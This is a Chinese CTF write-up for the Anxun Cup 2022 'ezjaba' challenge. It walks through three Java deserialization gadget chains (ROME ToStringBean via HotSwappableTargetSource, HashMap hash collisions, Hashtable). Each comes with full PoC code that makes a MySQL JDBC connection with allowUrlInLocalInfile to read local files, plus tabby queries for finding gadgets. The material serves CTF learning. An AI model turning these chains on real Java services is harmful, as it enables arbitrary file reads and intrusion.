安洵杯 ctf 2022 ezjaba
前言:安洵杯ctf2022,这题ezjaba当时没来得及做,后面看了下mysql jdbc的allowUrlInLocalInfile知识点也不知道,大概也是做不出来,这边写个笔记简单记录下,这边一共给出三条反序列化链和部分tabby寻找的过程
题目分析
这道题的话反编译看代码,通过几个类中是可以看出来考点是rome+jdbc
com.example.ezjaba.Connection.java 关于jdbc反序列化
特征词过滤的考点这里就不讲来,大小写就是可以绕过的
SecurityObjectInpitStream.java 反序列化黑名单,可以看到ObjectBean和EqualsBean被干掉了
之前研究过rome,除了ObjectBean的chain之外,还有个com.rometools.rome.feed.impl.ToStringBean类可以进行利用,但是这里可以看到BadAttributeValueExpException也被干掉了,所以需要找一条新的readOjbect-toString(toStringBean)的利用链
第一条利用链org.springframework.aop.target.HotSwappableTargetSource
这里jdk原生库中没找到可以利用的,之后可以尝试下spring源码中进行搜索,利用org.springframework.aop.target.HotSwappableTargetSource类
java.util.HashMap#readObject
java.util.HashMap#putVal
org.springframework.aop.target.HotSwappableTargetSource#equals
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
com.rometools.rome.feed.impl.ToStringBean#toString()
com.rometools.rome.feed.impl.ToStringBean#toString(java.lang.String)
public class TestMain {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Database database = new Database();
database.setDatabase("mysql://127.0.0.1:3306/test?user=fileread_file:///d:/&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#");
ToStringBean toStringBean1 = new ToStringBean(database.getClass(), database);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(toStringBean1);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap hashMap = new HashMap();
hashMap.put(v1,v1);
hashMap.put(v2,v2);
serialize(hashMap);
unserialize();
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}
思考点
为什么不可以跳过HotSwappableTargetSource的equals,直接让XSring来进行equals,相当于就变成下面的调用链
java.util.HashMap#readObject
java.util.HashMap#putVal
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
com.rometools.rome.feed.impl.ToStringBean#toString()
com.rometools.rome.feed.impl.ToStringBean#toString(java.lang.String)
实际上发现会有点问题,因为hashcode的问题导致的,因为每次进行put的对象的hashcode的是不一样,因为不一样所以每次都进行存储,如果一样的话才会去调用equals方法,最终在hashmap中的反序列化中就走不到equals方法调用
而这里使用HotSwappableTargetSource可以使得hashcode相同,因为计算HotSwappableTargetSource的时候,该HotSwappableTargetSource类是返回相同的hashcode的
第二条利用链从HashMap去触发父类java.util.AbstractMap#hashCode
参考文章:https://y4tacker.github.io/2022/03/07/year/2022/3/ROME改造计划/#Step1–改造利用链
实际上下面这条利用链实际上是可以实现的
java.util.HashMap#readObject
java.util.HashMap#putVal
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
com.rometools.rome.feed.impl.ToStringBean#toString()
com.rometools.rome.feed.impl.ToStringBean#toString(java.lang.String)
虽然在HashMap中put的时候无法进行,但是主要主键可以以字符串的形式存储的话是有办法让其不同但是hashcode却相同,如下所示
System.out.println("aa".hashCode() == "bB".hashCode());
可以跟到hashCode方法的逻辑中,可以看到是以字符的个数进行叠加的,第一个字符如果相差1,想要相等的话,那么第二个字符就需要比它大31,这样才满足
比如"aa" "bB" 'b'-'a'=1 'a'-'B'=31,利用这种关系的话,就可以满足
最终就使得(p = tab[i = (n - 1) & hash])取值的时候为null,这样第二次put的时候就能走到equals
注意:'aa' 'bB' 这两个hash值不知道是不是碰巧,因为尽管是相同,如果如果这个数的二进制后4位不为0的话,那么可能就不成立了
这里的话还需要注意的,即使上述这样进行反序列化还是无法进行利用,因为可以看到,这边的equals调用的是key.equals,所以这边无法进行利用
但是父类AbstractMap中的equals是通过value.equals来进行调用的,那么这里就有思路了,如果想让调用父类的equals,那么hashmap中put存储的就需要是hashmap对象
注意点:这里还需要满足的条件就是HashMap本身没有重写equals方法,这里的话是满足的
还有个需要注意的点就是两个map put的数据需要反着来,因为可以看到value.equals(m.get(key)),这里目的就是让存储的XString去触发ToStringBean,而这里获取主键的值必须是相同,所以就需要满足 hashmap_b['aa'] = ToStringBean hashmap_a['aa'] = XString 这种形式
这里的话最终的poc就是如下所示
public class TestMain {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Database database = new Database();
database.setDatabase("mysql://127.0.0.1:3306/test?user=fileread_file:///d:/&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#");
ToStringBean toStringBean1 = new ToStringBean(database.getClass(), database);
XString xString = new XString("111");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("aa",toStringBean1);
map1.put("bB",xString);
map2.put("aa",xString);
map2.put("bB",toStringBean1);
HashMap hashMap = new HashMap();
hashMap.put(map1,"");
hashMap.put(map2,"");
serialize(hashMap);
unserialize();
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}
tabby
match (source:Method) where source.NAME="readObject" and source.CLASSNAME in ["java.util.HashMap", "java.util.Hashtable"]
match (sink:Method) where sink.NAME="toString" and sink.CLASSNAME="com.sun.syndication.feed.impl.ToStringBean"
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 5) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection","java.sql.SQLInput","java.io.ObjectInputStream","javax.swing.JTree","com.sun.syndication.feed.impl.EqualsBean","javax.swing.JTable","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","java.net.URI","javax.security.auth.kerberos.KerberosPrincipal","javax.management.BadAttributeValueExpException","javax.security.auth.kerberos.KeyImpl","java.lang.Throwable","javax.sound.sampled.AudioFormat$Encoding"] or n.NAME in["next","clone"] or n.CLASSNAME=~'java.security.*')
return * limit 50
第三条利用链HashTable
参考文章:https://tttang.com/archive/1701/
触发是java.util.AbstractMap#equals,跟第二条类似,不过source点不一样
public class TestMain {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Database database = new Database();
database.setDatabase("mysql://127.0.0.1:3306/test?user=fileread_file:///d:/&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#");
ToStringBean toStringBean1 = new ToStringBean(database.getClass(), database);
XString xString = new XString("111");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("aa",xString);
map1.put("bB",toStringBean1);
map2.put("aa",toStringBean1);
map2.put("bB",xString);
Hashtable hashtable = new Hashtable();
hashtable.put(map1,"");
hashtable.put(map2,"");
serialize(hashtable);
unserialize();
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}
tabby
match (source:Method) where source.NAME="readObject" and source.CLASSNAME in ["java.util.HashMap", "java.util.Hashtable"]
match (sink:Method) where sink.NAME="toString" and sink.CLASSNAME="com.sun.syndication.feed.impl.ToStringBean"
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 5) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection","java.sql.SQLInput","java.io.ObjectInputStream","javax.swing.JTree","com.sun.syndication.feed.impl.EqualsBean","javax.swing.JTable","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","java.net.URI","javax.security.auth.kerberos.KerberosPrincipal","javax.management.BadAttributeValueExpException","javax.security.auth.kerberos.KeyImpl","java.lang.Throwable","javax.sound.sampled.AudioFormat$Encoding"] or n.NAME in["next","clone"] or n.CLASSNAME=~'java.security.*')
return * limit 50
在jdbc中的利用
除了mysql的jdbc,postgresql也是可以利用的,参考:https://xz.aliyun.com/t/11812